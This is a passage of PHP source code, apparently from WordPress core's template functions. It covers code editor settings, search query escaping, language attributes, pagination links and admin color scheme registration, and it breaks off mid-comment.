	if ( empty( $settings ) || empty( $settings['codemirror'] ) ) {
		return false;
	}

	wp_enqueue_script( 'code-editor' );
	wp_enqueue_style( 'code-editor' );

	if ( isset( $settings['codemirror']['mode'] ) ) {
		$mode = $settings['codemirror']['mode'];
		if ( is_string( $mode ) ) {
			$mode = array(
				'name' => $mode,
			);
		}

		if ( ! empty( $settings['codemirror']['lint'] ) ) {
			switch ( $mode['name'] ) {
				case 'css':
				case 'text/css':
				case 'text/x-scss':
				case 'text/x-less':
					wp_enqueue_script( 'csslint' );
					break;
				case 'htmlmixed':
				case 'text/html':
				case 'php':
				case 'application/x-httpd-php':
				case 'text/x-php':
					wp_enqueue_script( 'htmlhint' );
					wp_enqueue_script( 'csslint' );
					wp_enqueue_script( 'jshint' );
					if ( ! current_user_can( 'unfiltered_html' ) ) {
						wp_enqueue_script( 'htmlhint-kses' );
					}
					break;
				case 'javascript':
				case 'application/ecmascript':
				case 'application/json':
				case 'application/javascript':
				case 'application/ld+json':
				case 'text/typescript':
				case 'application/typescript':
					wp_enqueue_script( 'jshint' );
					wp_enqueue_script( 'jsonlint' );
					break;
			}
		}
	}

	wp_add_inline_script( 'code-editor', sprintf( 'jQuery.extend( wp.codeEditor.defaultSettings, %s );', wp_json_encode( $settings ) ) );

	/**
	 * Fires when scripts and styles are enqueued for the code editor.
	 *
	 * @since 4.9.0
	 *
	 * @param array $settings Settings for the enqueued code editor.
	 */
	do_action( 'wp_enqueue_code_editor', $settings );

	return $settings;
}

/**
 * Generates and returns code editor settings.
 *
 * @since 5.0.0
 *
 * @see wp_enqueue_code_editor()
 *
 * @param array $args {
 *     Args.
 *
 *     @type string   $type       The MIME type of the file to be edited.
 *     @type string   $file       Filename to be edited. Extension is used to sniff the type. Can be supplied as alternative to `$type` param.
 *     @type WP_Theme $theme      Theme being edited when on the theme file editor.
 *     @type string   $plugin     Plugin being edited when on the plugin file editor.
 *     @type array    $codemirror Additional CodeMirror setting overrides.
 *     @type array    $csslint    CSSLint rule overrides.
 *     @type array    $jshint     JSHint rule overrides.
 *     @type array    $htmlhint   HTMLHint rule overrides.
 * }
 * @return array|false Settings for the code editor.
 */
function wp_get_code_editor_settings( $args ) {
	$settings = array(
		'codemirror' => array(
			'indentUnit'       => 4,
			'indentWithTabs'   => true,
			'inputStyle'       => 'contenteditable',
			'lineNumbers'      => true,
			'lineWrapping'     => true,
			'styleActiveLine'  => true,
			'continueComments' => true,
			'extraKeys'        => array(
				'Ctrl-Space' => 'autocomplete',
				'Ctrl-/'     => 'toggleComment',
				'Cmd-/'      => 'toggleComment',
				'Alt-F'      => 'findPersistent',
				'Ctrl-F'     => 'findPersistent',
				'Cmd-F'      => 'findPersistent',
			),
			'direction'        => 'ltr', // Code is shown in LTR even in RTL languages.
			'gutters'          => array(),
		),
		'csslint'    => array(
			'errors'                    => true, // Parsing errors.
			'box-model'                 => true,
			'display-property-grouping' => true,
			'duplicate-properties'      => true,
			'known-properties'          => true,
			'outline-none'              => true,
		),
		'jshint'     => array(
			// The following are copied from <https://github.com/WordPress/wordpress-develop/blob/4.8.1/.jshintrc>.
			'boss'     => true,
			'curly'    => true,
			'eqeqeq'   => true,
			'eqnull'   => true,
			'es3'      => true,
			'expr'     => true,
			'immed'    => true,
			'noarg'    => true,
			'nonbsp'   => true,
			'onevar'   => true,
			'quotmark' => 'single',
			'trailing' => true,
			'undef'    => true,
			'unused'   => true,

			'browser'  => true,

			'globals'  => array(
				'_'        => false,
				'Backbone' => false,
				'jQuery'   => false,
				'JSON'     => false,
				'wp'       => false,
			),
		),
		'htmlhint'   => array(
			'tagname-lowercase'        => true,
			'attr-lowercase'           => true,
			'attr-value-double-quotes' => false,
			'doctype-first'            => false,
			'tag-pair'                 => true,
			'spec-char-escape'         => true,
			'id-unique'                => true,
			'src-not-empty'            => true,
			'attr-no-duplication'      => true,
			'alt-require'              => true,
			'space-tab-mixed-disabled' => 'tab',
			'attr-unsafe-chars'        => true,
		),
	);

	$type = '';
	if ( isset( $args['type'] ) ) {
		$type = $args['type'];

		// Remap MIME types to ones that CodeMirror modes will recognize.
		if ( 'application/x-patch' === $type || 'text/x-patch' === $type ) {
			$type = 'text/x-diff';
		}
	} elseif ( isset( $args['file'] ) && str_contains( basename( $args['file'] ), '.' ) ) {
		$extension = strtolower( pathinfo( $args['file'], PATHINFO_EXTENSION ) );
		foreach ( wp_get_mime_types() as $exts => $mime ) {
			if ( preg_match( '!^(' . $exts . ')$!i', $extension ) ) {
				$type = $mime;
				break;
			}
		}

		// Supply any types that are not matched by wp_get_mime_types().
		if ( empty( $type ) ) {
			switch ( $extension ) {
				case 'conf':
					$type = 'text/nginx';
					break;
				case 'css':
					$type = 'text/css';
					break;
				case 'diff':
				case 'patch':
					$type = 'text/x-diff';
					break;
				case 'html':
				case 'htm':
					$type = 'text/html';
					break;
				case 'http':
					$type = 'message/http';
					break;
				case 'js':
					$type = 'text/javascript';
					break;
				case 'json':
					$type = 'application/json';
					break;
				case 'jsx':
					$type = 'text/jsx';
					break;
				case 'less':
					$type = 'text/x-less';
					break;
				case 'md':
					$type = 'text/x-gfm';
					break;
				case 'php':
				case 'phtml':
				case 'php3':
				case 'php4':
				case 'php5':
				case 'php7':
				case 'phps':
					$type = 'application/x-httpd-php';
					break;
				case 'scss':
					$type = 'text/x-scss';
					break;
				case 'sass':
					$type = 'text/x-sass';
					break;
				case 'sh':
				case 'bash':
					$type = 'text/x-sh';
					break;
				case 'sql':
					$type = 'text/x-sql';
					break;
				case 'svg':
					$type = 'application/svg+xml';
					break;
				case 'xml':
					$type = 'text/xml';
					break;
				case 'yml':
				case 'yaml':
					$type = 'text/x-yaml';
					break;
				case 'txt':
				default:
					$type = 'text/plain';
					break;
			}
		}
	}

	if ( in_array( $type, array( 'text/css', 'text/x-scss', 'text/x-less', 'text/x-sass' ), true ) ) {
		$settings['codemirror'] = array_merge(
			$settings['codemirror'],
			array(
				'mode'              => $type,
				'lint'              => false,
				'autoCloseBrackets' => true,
				'matchBrackets'     => true,
			)
		);
	} elseif ( 'text/x-diff' === $type ) {
		$settings['codemirror'] = array_merge(
			$settings['codemirror'],
			array(
				'mode' => 'diff',
			)
		);
	} elseif ( 'text/html' === $type ) {
		$settings['codemirror'] = array_merge(
			$settings['codemirror'],
			array(
				'mode'              => 'htmlmixed',
				'lint'              => true,
				'autoCloseBrackets' => true,
				'autoCloseTags'     => true,
				'matchTags'         => array(
					'bothTags' => true,
				),
			)
		);

		if ( ! current_user_can( 'unfiltered_html' ) ) {
			$settings['htmlhint']['kses'] = wp_kses_allowed_html( 'post' );
		}
	} elseif ( 'text/x-gfm' === $type ) {
		$settings['codemirror'] = array_merge(
			$settings['codemirror'],
			array(
				'mode'                => 'gfm',
				'highlightFormatting' => true,
			)
		);
	} elseif ( 'application/javascript' === $type || 'text/javascript' === $type ) {
		$settings['codemirror'] = array_merge(
			$settings['codemirror'],
			array(
				'mode'              => 'javascript',
				'lint'              => true,
				'autoCloseBrackets' => true,
				'matchBrackets'     => true,
			)
		);
	} elseif ( str_contains( $type, 'json' ) ) {
		$settings['codemirror'] = array_merge(
			$settings['codemirror'],
			array(
				'mode'              => array(
					'name' => 'javascript',
				),
				'lint'              => true,
				'autoCloseBrackets' => true,
				'matchBrackets'     => true,
			)
		);
		if ( 'application/ld+json' === $type ) {
			$settings['codemirror']['mode']['jsonld'] = true;
		} else {
			$settings['codemirror']['mode']['json'] = true;
		}
	} elseif ( str_contains( $type, 'jsx' ) ) {
		$settings['codemirror'] = array_merge(
			$settings['codemirror'],
			array(
				'mode'              => 'jsx',
				'autoCloseBrackets' => true,
				'matchBrackets'     => true,
			)
		);
	} elseif ( 'text/x-markdown' === $type ) {
		$settings['codemirror'] = array_merge(
			$settings['codemirror'],
			array(
				'mode'                => 'markdown',
				'highlightFormatting' => true,
			)
		);
	} elseif ( 'text/nginx' === $type ) {
		$settings['codemirror'] = array_merge(
			$settings['codemirror'],
			array(
				'mode' => 'nginx',
			)
		);
	} elseif ( 'application/x-httpd-php' === $type ) {
		$settings['codemirror'] = array_merge(
			$settings['codemirror'],
			array(
				'mode'              => 'php',
				'autoCloseBrackets' => true,
				'autoCloseTags'     => true,
				'matchBrackets'     => true,
				'matchTags'         => array(
					'bothTags' => true,
				),
			)
		);
	} elseif ( 'text/x-sql' === $type || 'text/x-mysql' === $type ) {
		$settings['codemirror'] = array_merge(
			$settings['codemirror'],
			array(
				'mode'              => 'sql',
				'autoCloseBrackets' => true,
				'matchBrackets'     => true,
			)
		);
	} elseif ( str_contains( $type, 'xml' ) ) {
		$settings['codemirror'] = array_merge(
			$settings['codemirror'],
			array(
				'mode'              => 'xml',
				'autoCloseBrackets' => true,
				'autoCloseTags'     => true,
				'matchTags'         => array(
					'bothTags' => true,
				),
			)
		);
	} elseif ( 'text/x-yaml' === $type ) {
		$settings['codemirror'] = array_merge(
			$settings['codemirror'],
			array(
				'mode' => 'yaml',
			)
		);
	} else {
		$settings['codemirror']['mode'] = $type;
	}

	if ( ! empty( $settings['codemirror']['lint'] ) ) {
		$settings['codemirror']['gutters'][] = 'CodeMirror-lint-markers';
	}

	// Let settings supplied via args override any defaults.
	foreach ( wp_array_slice_assoc( $args, array( 'codemirror', 'csslint', 'jshint', 'htmlhint' ) ) as $key => $value ) {
		$settings[ $key ] = array_merge(
			$settings[ $key ],
			$value
		);
	}

	/**
	 * Filters settings that are passed into the code editor.
	 *
	 * Returning a falsey value will disable the syntax-highlighting code editor.
	 *
	 * @since 4.9.0
	 *
	 * @param array $settings The array of settings passed to the code editor.
	 *                        A falsey value disables the editor.
	 * @param array $args {
	 *     Args passed when calling `get_code_editor_settings()`.
	 *
	 *     @type string   $type       The MIME type of the file to be edited.
	 *     @type string   $file       Filename being edited.
	 *     @type WP_Theme $theme      Theme being edited when on the theme file editor.
	 *     @type string   $plugin     Plugin being edited when on the plugin file editor.
	 *     @type array    $codemirror Additional CodeMirror setting overrides.
	 *     @type array    $csslint    CSSLint rule overrides.
	 *     @type array    $jshint     JSHint rule overrides.
	 *     @type array    $htmlhint   HTMLHint rule overrides.
	 * }
	 */
	return apply_filters( 'wp_code_editor_settings', $settings, $args );
}

/**
 * Retrieves the contents of the search WordPress query variable.
 *
 * The search query string is passed through esc_attr() to ensure that it is safe
 * for placing in an HTML attribute.
 *
 * @since 2.3.0
 *
 * @param bool $escaped Whether the result is escaped. Default true.
 *                      Only use when you are later escaping it. Do not use unescaped.
 * @return string
 */
function get_search_query( $escaped = true ) {
	/**
	 * Filters the contents of the search query variable.
	 *
	 * @since 2.3.0
	 *
	 * @param mixed $search Contents of the search query variable.
	 */
	$query = apply_filters( 'get_search_query', get_query_var( 's' ) );

	if ( $escaped ) {
		$query = esc_attr( $query );
	}
	return $query;
}

/**
 * Displays the contents of the search query variable.
 *
 * The search query string is passed through esc_attr() to ensure that it is safe
 * for placing in an HTML attribute.
 *
 * @since 2.1.0
 */
function the_search_query() {
	/**
	 * Filters the contents of the search query variable for display.
	 *
	 * @since 2.3.0
	 *
	 * @param mixed $search Contents of the search query variable.
	 */
	echo esc_attr( apply_filters( 'the_search_query', get_search_query( false ) ) );
}

/**
 * Gets the language attributes for the 'html' tag.
 *
 * Builds up a set of HTML attributes containing the text direction and language
 * information for the page.
 *
 * @since 4.3.0
 *
 * @param string $doctype Optional. The type of HTML document. Accepts 'xhtml' or 'html'. Default 'html'.
 * @return string A space-separated list of language attributes.
 */
function get_language_attributes( $doctype = 'html' ) {
	$attributes = array();

	if ( function_exists( 'is_rtl' ) && is_rtl() ) {
		$attributes[] = 'dir="rtl"';
	}

	$lang = get_bloginfo( 'language' );
	if ( $lang ) {
		if ( 'text/html' === get_option( 'html_type' ) || 'html' === $doctype ) {
			$attributes[] = 'lang="' . esc_attr( $lang ) . '"';
		}

		if ( 'text/html' !== get_option( 'html_type' ) || 'xhtml' === $doctype ) {
			$attributes[] = 'xml:lang="' . esc_attr( $lang ) . '"';
		}
	}

	$output = implode( ' ', $attributes );

	/**
	 * Filters the language attributes for display in the 'html' tag.
	 *
	 * @since 2.5.0
	 * @since 4.3.0 Added the `$doctype` parameter.
	 *
	 * @param string $output A space-separated list of language attributes.
	 * @param string $doctype The type of HTML document (xhtml|html).
	 */
	return apply_filters( 'language_attributes', $output, $doctype );
}

/**
 * Displays the language attributes for the 'html' tag.
 *
 * Builds up a set of HTML attributes containing the text direction and language
 * information for the page.
 *
 * @since 2.1.0
 * @since 4.3.0 Converted into a wrapper for get_language_attributes().
 *
 * @param string $doctype Optional. The type of HTML document. Accepts 'xhtml' or 'html'. Default 'html'.
 */
function language_attributes( $doctype = 'html' ) {
	echo get_language_attributes( $doctype );
}

/**
 * Retrieves paginated links for archive post pages.
 *
 * Technically, the function can be used to create paginated link list for any
 * area. The 'base' argument is used to reference the url, which will be used to
 * create the paginated links. The 'format' argument is then used for replacing
 * the page number. It is however, most likely and by default, to be used on the
 * archive post pages.
 *
 * The 'type' argument controls format of the returned value. The default is
 * 'plain', which is just a string with the links separated by a newline
 * character. The other possible values are either 'array' or 'list'. The
 * 'array' value will return an array of the paginated link list to offer full
 * control of display. The 'list' value will place all of the paginated links in
 * an unordered HTML list.
 *
 * The 'total' argument is the total amount of pages and is an integer. The
 * 'current' argument is the current page number and is also an integer.
 *
 * An example of the 'base' argument is "http://example.com/all_posts.php%_%"
 * and the '%_%' is required. The '%_%' will be replaced by the contents of in
 * the 'format' argument. An example for the 'format' argument is "?page=%#%"
 * and the '%#%' is also required. The '%#%' will be replaced with the page
 * number.
 *
 * You can include the previous and next links in the list by setting the
 * 'prev_next' argument to true, which it is by default. You can set the
 * previous text, by using the 'prev_text' argument. You can set the next text
 * by setting the 'next_text' argument.
 *
 * If the 'show_all' argument is set to true, then it will show all of the pages
 * instead of a short list of the pages near the current page. By default, the
 * 'show_all' is set to false and controlled by the 'end_size' and 'mid_size'
 * arguments. The 'end_size' argument is how many numbers on either the start
 * and the end list edges, by default is 1. The 'mid_size' argument is how many
 * numbers to either side of current page, but not including current page.
 *
 * It is possible to add query vars to the link by using the 'add_args' argument
 * and see add_query_arg() for more information.
 *
 * The 'before_page_number' and 'after_page_number' arguments allow users to
 * augment the links themselves. Typically this might be to add context to the
 * numbered links so that screen reader users understand what the links are for.
 * The text strings are added before and after the page number - within the
 * anchor tag.
 *
 * @since 2.1.0
 * @since 4.9.0 Added the `aria_current` argument.
 *
 * @global WP_Query   $wp_query   WordPress Query object.
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @param string|array $args {
 *     Optional. Array or string of arguments for generating paginated links for archives.
 *
 *     @type string $base               Base of the paginated url. Default empty.
 *     @type string $format             Format for the pagination structure. Default empty.
 *     @type int    $total              The total amount of pages. Default is the value WP_Query's
 *                                      `max_num_pages` or 1.
 *     @type int    $current            The current page number. Default is 'paged' query var or 1.
 *     @type string $aria_current       The value for the aria-current attribute. Possible values are 'page',
 *                                      'step', 'location', 'date', 'time', 'true', 'false'. Default is 'page'.
 *     @type bool   $show_all           Whether to show all pages. Default false.
 *     @type int    $end_size           How many numbers on either the start and the end list edges.
 *                                      Default 1.
 *     @type int    $mid_size           How many numbers to either side of the current pages. Default 2.
 *     @type bool   $prev_next          Whether to include the previous and next links in the list. Default true.
 *     @type string $prev_text          The previous page text. Default '&laquo; Previous'.
 *     @type string $next_text          The next page text. Default 'Next &raquo;'.
 *     @type string $type               Controls format of the returned value. Possible values are 'plain',
 *                                      'array' and 'list'. Default is 'plain'.
 *     @type array  $add_args           An array of query args to add. Default false.
 *     @type string $add_fragment       A string to append to each link. Default empty.
 *     @type string $before_page_number A string to appear before the page number. Default empty.
 *     @type string $after_page_number  A string to append after the page number. Default empty.
 * }
 * @return string|string[]|void String of page links or array of page links, depending on 'type' argument.
 *                              Void if total number of pages is less than 2.
 */
function paginate_links( $args = '' ) {
	global $wp_query, $wp_rewrite;

	// Setting up default values based on the current URL.
	$pagenum_link = html_entity_decode( get_pagenum_link() );
	$url_parts    = explode( '?', $pagenum_link );

	// Get max pages and current page out of the current query, if available.
	$total   = isset( $wp_query->max_num_pages ) ? $wp_query->max_num_pages : 1;
	$current = get_query_var( 'paged' ) ? (int) get_query_var( 'paged' ) : 1;

	// Append the format placeholder to the base URL.
	$pagenum_link = trailingslashit( $url_parts[0] ) . '%_%';

	// URL base depends on permalink settings.
	$format  = $wp_rewrite->using_index_permalinks() && ! strpos( $pagenum_link, 'index.php' ) ? 'index.php/' : '';
	$format .= $wp_rewrite->using_permalinks() ? user_trailingslashit( $wp_rewrite->pagination_base . '/%#%', 'paged' ) : '?paged=%#%';

	$defaults = array(
		'base'               => $pagenum_link, // http://example.com/all_posts.php%_% : %_% is replaced by format (below).
		'format'             => $format, // ?page=%#% : %#% is replaced by the page number.
		'total'              => $total,
		'current'            => $current,
		'aria_current'       => 'page',
		'show_all'           => false,
		'prev_next'          => true,
		'prev_text'          => __( '&laquo; Previous' ),
		'next_text'          => __( 'Next &raquo;' ),
		'end_size'           => 1,
		'mid_size'           => 2,
		'type'               => 'plain',
		'add_args'           => array(), // Array of query args to add.
		'add_fragment'       => '',
		'before_page_number' => '',
		'after_page_number'  => '',
	);

	$args = wp_parse_args( $args, $defaults );

	if ( ! is_array( $args['add_args'] ) ) {
		$args['add_args'] = array();
	}

	// Merge additional query vars found in the original URL into 'add_args' array.
	if ( isset( $url_parts[1] ) ) {
		// Find the format argument.
		$format       = explode( '?', str_replace( '%_%', $args['format'], $args['base'] ) );
		$format_query = isset( $format[1] ) ? $format[1] : '';
		wp_parse_str( $format_query, $format_args );

		// Find the query args of the requested URL.
		wp_parse_str( $url_parts[1], $url_query_args );

		// Remove the format argument from the array of query arguments, to avoid overwriting custom format.
		foreach ( $format_args as $format_arg => $format_arg_value ) {
			unset( $url_query_args[ $format_arg ] );
		}

		$args['add_args'] = array_merge( $args['add_args'], urlencode_deep( $url_query_args ) );
	}

	// Who knows what else people pass in $args.
	$total = (int) $args['total'];
	if ( $total < 2 ) {
		return;
	}
	$current  = (int) $args['current'];
	$end_size = (int) $args['end_size']; // Out of bounds? Make it the default.
	if ( $end_size < 1 ) {
		$end_size = 1;
	}
	$mid_size = (int) $args['mid_size'];
	if ( $mid_size < 0 ) {
		$mid_size = 2;
	}

	$add_args   = $args['add_args'];
	$r          = '';
	$page_links = array();
	$dots       = false;

	if ( $args['prev_next'] && $current && 1 < $current ) :
		$link = str_replace( '%_%', 2 == $current ? '' : $args['format'], $args['base'] );
		$link = str_replace( '%#%', $current - 1, $link );
		if ( $add_args ) {
			$link = add_query_arg( $add_args, $link );
		}
		$link .= $args['add_fragment'];

		$page_links[] = sprintf(
			'<a class="prev page-numbers" href="%s">%s</a>',
			/**
			 * Filters the paginated links for the given archive pages.
			 *
			 * @since 3.0.0
			 *
			 * @param string $link The paginated link URL.
			 */
			esc_url( apply_filters( 'paginate_links', $link ) ),
			$args['prev_text']
		);
	endif;

	for ( $n = 1; $n <= $total; $n++ ) :
		if ( $n == $current ) :
			$page_links[] = sprintf(
				'<span aria-current="%s" class="page-numbers current">%s</span>',
				esc_attr( $args['aria_current'] ),
				$args['before_page_number'] . number_format_i18n( $n ) . $args['after_page_number']
			);

			$dots = true;
		else :
			if ( $args['show_all'] || ( $n <= $end_size || ( $current && $n >= $current - $mid_size && $n <= $current + $mid_size ) || $n > $total - $end_size ) ) :
				$link = str_replace( '%_%', 1 == $n ? '' : $args['format'], $args['base'] );
				$link = str_replace( '%#%', $n, $link );
				if ( $add_args ) {
					$link = add_query_arg( $add_args, $link );
				}
				$link .= $args['add_fragment'];

				$page_links[] = sprintf(
					'<a class="page-numbers" href="%s">%s</a>',
					/** This filter is documented in wp-includes/general-template.php */
					esc_url( apply_filters( 'paginate_links', $link ) ),
					$args['before_page_number'] . number_format_i18n( $n ) . $args['after_page_number']
				);

				$dots = true;
			elseif ( $dots && ! $args['show_all'] ) :
				$page_links[] = '<span class="page-numbers dots">' . __( '&hellip;' ) . '</span>';

				$dots = false;
			endif;
		endif;
	endfor;

	if ( $args['prev_next'] && $current && $current < $total ) :
		$link = str_replace( '%_%', $args['format'], $args['base'] );
		$link = str_replace( '%#%', $current + 1, $link );
		if ( $add_args ) {
			$link = add_query_arg( $add_args, $link );
		}
		$link .= $args['add_fragment'];

		$page_links[] = sprintf(
			'<a class="next page-numbers" href="%s">%s</a>',
			/** This filter is documented in wp-includes/general-template.php */
			esc_url( apply_filters( 'paginate_links', $link ) ),
			$args['next_text']
		);
	endif;

	switch ( $args['type'] ) {
		case 'array':
			return $page_links;

		case 'list':
			$r .= "<ul class='page-numbers'>\n\t<li>";
			$r .= implode( "</li>\n\t<li>", $page_links );
			$r .= "</li>\n</ul>\n";
			break;

		default:
			$r = implode( "\n", $page_links );
			break;
	}

	/**
	 * Filters the HTML output of paginated links for archives.
	 *
	 * @since 5.7.0
	 *
	 * @param string $r    HTML output.
	 * @param array  $args An array of arguments. See paginate_links()
	 *                     for information on accepted arguments.
	 */
	$r = apply_filters( 'paginate_links_output', $r, $args );

	return $r;
}

/**
 * Registers an admin color scheme css file.
 *
 * Allows a plugin to register a new admin color scheme. For example:
 *
 *     wp_admin_css_color( 'classic', __( 'Classic' ), admin_url( "css/colors-classic.css" ), array(
 *         '#07273E', '#14568A', '#D54E21', '#2683AE'
 *     ) );
 *
 * @since 2.5.0
 *
 * @global array $_wp_admin_css_colors
 *
 * @param string $key    The unique key for this theme.
 * @param string $name   The name of the theme.
 * @param string $url    The URL of the CSS file containing the color scheme.
 * @param array  $colors Optional. An array of CSS color definition strings which are used
 *                       to give the user a feel for the theme.
 * @param array  $icons {
 *     Optional. CSS color definitions used to color any SVG icons.
 *
 *     @type string $base    SVG icon base color.
 *     @type string $focus   SVG icon color on focus.
 *     @type string $current SVG icon color of current admin menu link.
 * }
 */
function wp_admin_css_color( $key, $name, $url, $colors = array(), $icons = array() ) {
	global $_wp_admin_css_colors;

	if ( ! isset( $_wp_admin_css_colors ) ) {
		$_wp_admin_css_colors = array();
	}

	$_wp_admin_css_colors[ $key ] = (object) array(
		'name'        => $name,
		'url'         => $url,
		'colors'      => $colors,
		'icon_colors' => $icons,
	);
}

/**
 * Registers the default admin color schemes.
 *
 * Registers the initial set of eight color schemes in the Profile section
 * of the dashboard which allows for styling the admin menu and toolbar.
 *
 * @see wp_admin_css_color()
 *
 * @since 3.0.0
 */
function register_admin_color_schemes() {
	$suffix  = is_rtl() ? '-rtl' : '';
	$suffix .= SCRIPT_DEBUG ? '' : '.min';

	wp_admin_css_color(
		'fresh',
		_x( 'Default', 'admin color scheme' ),
		false,
		array( '#1d2327', '#2c3338', '#2271b1', '#72aee6' ),
		array(
			'base'    => '#a7aaad',
			'focus'   => '#72aee6',
			'current' => '#fff',
		)
	);

	wp_admin_css_color(
		'light',
		_x( 'Light', 'admin color scheme' ),
		admin_url( "css/colors/light/colors$suffix.css" ),
		array( '#e5e5e5', '#999', '#d64e07', '#04a4cc' ),
		array(
			'base'    => '#999',
			'focus'   => '#ccc',
			'current' => '#ccc',
		)
	);

	wp_admin_css_color(
		'modern',
		_x( 'Modern', 'admin color scheme' ),
		admin_url( "css/colors/modern/colors$suffix.css" ),
		array( '#1e1e1e', '#3858e9', '#33f078' ),
		array(
			'base'    => '#f3f1f1',
			'focus'   => '#fff',
			'current' => '#fff',
		)
	);

	wp_admin_css_color(
		'blue',
		_x( 'Blue', 'admin color scheme' ),
		admin_url( "css/colors/blue/colors$suffix.css" ),
		array( '#096484', '#4796b3', '#52accc', '#74B6CE' ),
		array(
			'base'    => '#e5f8ff',
			'focus'   => '#fff',
			'current' => '#fff',
		)
	);

	wp_admin_css_color(
		'midnight',
		_x( 'Midnight', 'admin color scheme' ),
		admin_url( "css/colors/midnight/colors$suffix.css" ),
		array( '#25282b', '#363b3f', '#69a8bb', '#e14d43' ),
		array(
			'base'    => '#f1f2f3',
			'focus'   => '#fff',
			'current' => '#fff',
		)
	);

	wp_admin_css_color(
		'sunrise',
		_x( 'Sunrise', 'admin color scheme' ),
		admin_url( "css/colors/sunrise/colors$suffix.css" ),
		array( '#b43c38', '#cf4944', '#dd823b', '#ccaf0b' ),
		array(
			'base'    => '#f3f1f1',
			'focus'   => '#fff',
			'current' => '#fff',
		)
	);

	wp_admin_css_color(
		'ectoplasm',
		_x( 'Ectoplasm', 'admin color scheme' ),
		admin_url( "css/colors/ectoplasm/colors$suffix.css" ),
		array( '#413256', '#523f6d', '#a3b745', '#d46f15' ),
		array(
			'base'    => '#ece6f6',
			'focus'   => '#fff',
			'current' => '#fff',
		)
	);

	wp_admin_css_color(
		'ocean',
		_x( 'Ocean', 'admin color scheme' ),
		admin_url( "css/colors/ocean/colors$suffix.css" ),
		array( '#627c83', '#738e96', '#9ebaa0', '#aa9d88' ),
		array(
			'base'    => '#f2fcff',
			'focus'   => '#fff',
			'current' => '#fff',
		)
	);

	wp_admin_css_color(
		'coffee',
		_x( 'Coffee', 'admin color scheme' ),
		admin_url( "css/colors/coffee/colors$suffix.css" ),
		array( '#46403c', '#59524c', '#c7a589', '#9ea476' ),
		array(
			'base'    => '#f3f2f1',
			'focus'   => '#fff',
			'current' => '#fff',
		)
	);
}

/**
 * Displays the URL of a WordPress admin CSS file.
 *
 * @see WP_Styles::_css_href() and its {@see 'style_loader_src'} filter.
 *
 * @since 2.3.0
 *
 * @param string $file file relative to wp-admin/ without its ".css" extension.
 * @return string
 */
function wp_admin_css_uri( $file = 'wp-admin' ) {
	if ( defined( 'WP_INSTALLING' ) ) {
		$_file = "./$file.css";
	} else {
		$_file = admin_url( "$file.css" );
	}
	$_file = add_query_arg( 'version', get_bloginfo( 'version' ), $_file );

	/**
	 * Filters the URI of a WordPress admin CSS file.
	 *
	 * @since 2.3.0
	 *
	 * @param string $_file Relative path to the file with query arguments attached.
	 * @param string $file  Relative path to the file, minus its ".css" extension.
	 */
	return apply_filters( 'wp_admin_css_uri', $_file, $file );
}

/**
 * Enqueues or directly prints a stylesheet link to the specified CSS file.
 *
 * "Intelligently" decides to enqueue or to print the CSS file. If the
 * {@see 'wp_print_styles'} action has *not* yet been called, the CSS file will be
 * enqueued. If the {@see 'wp_print_styles'} action has been called, the CSS link will
 * be printed. Printing may be forced by passing true as the $force_echo
 * (second) parameter.
 *
 * For backward compatibility with WordPress 2.3 calling method: If the $file
 * (first) parameter does not correspond to a registered CSS file, we assume
 * $file is a file relative to wp-admin/ without its ".css" extension. A
 * stylesheet link to that generated URL is printed.
 *
 * @since 2.3.0
 *
 * @param string $file       Optional. Style handle name or file name (without ".css" extension) relative
 *                           to wp-admin/. Defaults to 'wp-admin'.
 * @param bool   $force_echo Optional. Force the stylesheet link to be printed rather than enqueued.
 */
function wp_admin_css( $file = 'wp-admin', $force_echo = false ) {
	// For backward compatibility.
	$handle = str_starts_with( $file, 'css/' ) ? substr( $file, 4 ) : $file;

	if ( wp_styles()->query( $handle ) ) {
		if ( $force_echo || did_action( 'wp_print_styles' ) ) {
			// We already printed the style queue. Print this one immediately.
			wp_print_styles( $handle );
		} else {
			// Add to style queue.
			wp_enqueue_style( $handle );
		}
		return;
	}

	$stylesheet_link = sprintf(
		"<link rel='stylesheet' href='%s' type='text/css' />\n",
		esc_url( wp_admin_css_uri( $file ) )
	);

	/**
	 * Filters the stylesheet link to the specified CSS file.
	 *
	 * If the site is set to display right-to-left, the RTL stylesheet link
	 * will be used instead.
	 *
	 * @since 2.3.0
	 * @param string $stylesheet_link HTML link element for the stylesheet.
	 * @param string $file            Style handle name or filename (without ".css" extension)
	 *                                relative to wp-admin/. Defaults to 'wp-admin'.
	 */
	echo apply_filters( 'wp_admin_css', $stylesheet_link, $file );

	if ( function_exists( 'is_rtl' ) && is_rtl() ) {
		$rtl_stylesheet_link = sprintf(
			"<link rel='stylesheet' href='%s' type='text/css' />\n",
			esc_url( wp_admin_css_uri( "$file-rtl" ) )
		);

		/** This filter is documented in wp-includes/general-template.php */
		echo apply_filters( 'wp_admin_css', $rtl_stylesheet_link, "$file-rtl" );
	}
}

/**
 * Enqueues the default ThickBox js and css.
 *
 * If any of the settings need to be changed, this can be done with another js
 * file similar to media-upload.js. That file should
 * require array('thickbox') to ensure it is loaded after.
 *
 * @since 2.5.0
 */
function add_thickbox() {
	wp_enqueue_script( 'thickbox' );
	wp_enqueue_style( 'thickbox' );

	if ( is_network_admin() ) {
		add_action( 'admin_head', '_thickbox_path_admin_subfolder' );
	}
}

/**
 * Displays the XHTML generator that is generated on the wp_head hook.
 *
 * See {@see 'wp_head'}.
 *
 * @since 2.5.0
 */
function wp_generator() {
	/**
	 * Filters the output of the XHTML generator tag.
	 *
	 * @since 2.5.0
	 *
	 * @param string $generator_type The XHTML generator.
	 */
	the_generator( apply_filters( 'wp_generator_type', 'xhtml' ) );
}

/**
 * Displays the generator XML or Comment for RSS, ATOM, etc.
 *
 * Returns the correct generator type for the requested output format. Allows
 * for a plugin to filter generators overall the {@see 'the_generator'} filter.
 *
 * @since 2.5.0
 *
 * @param string $type The type of generator to output - (html|xhtml|atom|rss2|rdf|comment|export).
 */
function the_generator( $type ) {
	/**
	 * Filters the output of the XHTML generator tag for display.
	 *
	 * @since 2.5.0
	 *
	 * @param string $generator_type The generator output.
	 * @param string $type           The type of generator to output. Accepts 'html',
	 *                               'xhtml', 'atom', 'rss2', 'rdf', 'comment', 'export'.
	 */
	echo apply_filters( 'the_generator', get_the_generator( $type ), $type ) . "\n";
}

/**
 * Creates the generator XML or Comment for RSS, ATOM, etc.
 *
 * Returns the correct generator type for the requested output format. Allows
 * for a plugin to filter generators on an individual basis using the
 * {@see 'get_the_generator_$type'} filter.
 *
 * @since 2.5.0
 *
 * @param string $type The type of generator to return - (html|xhtml|atom|rss2|rdf|comment|export).
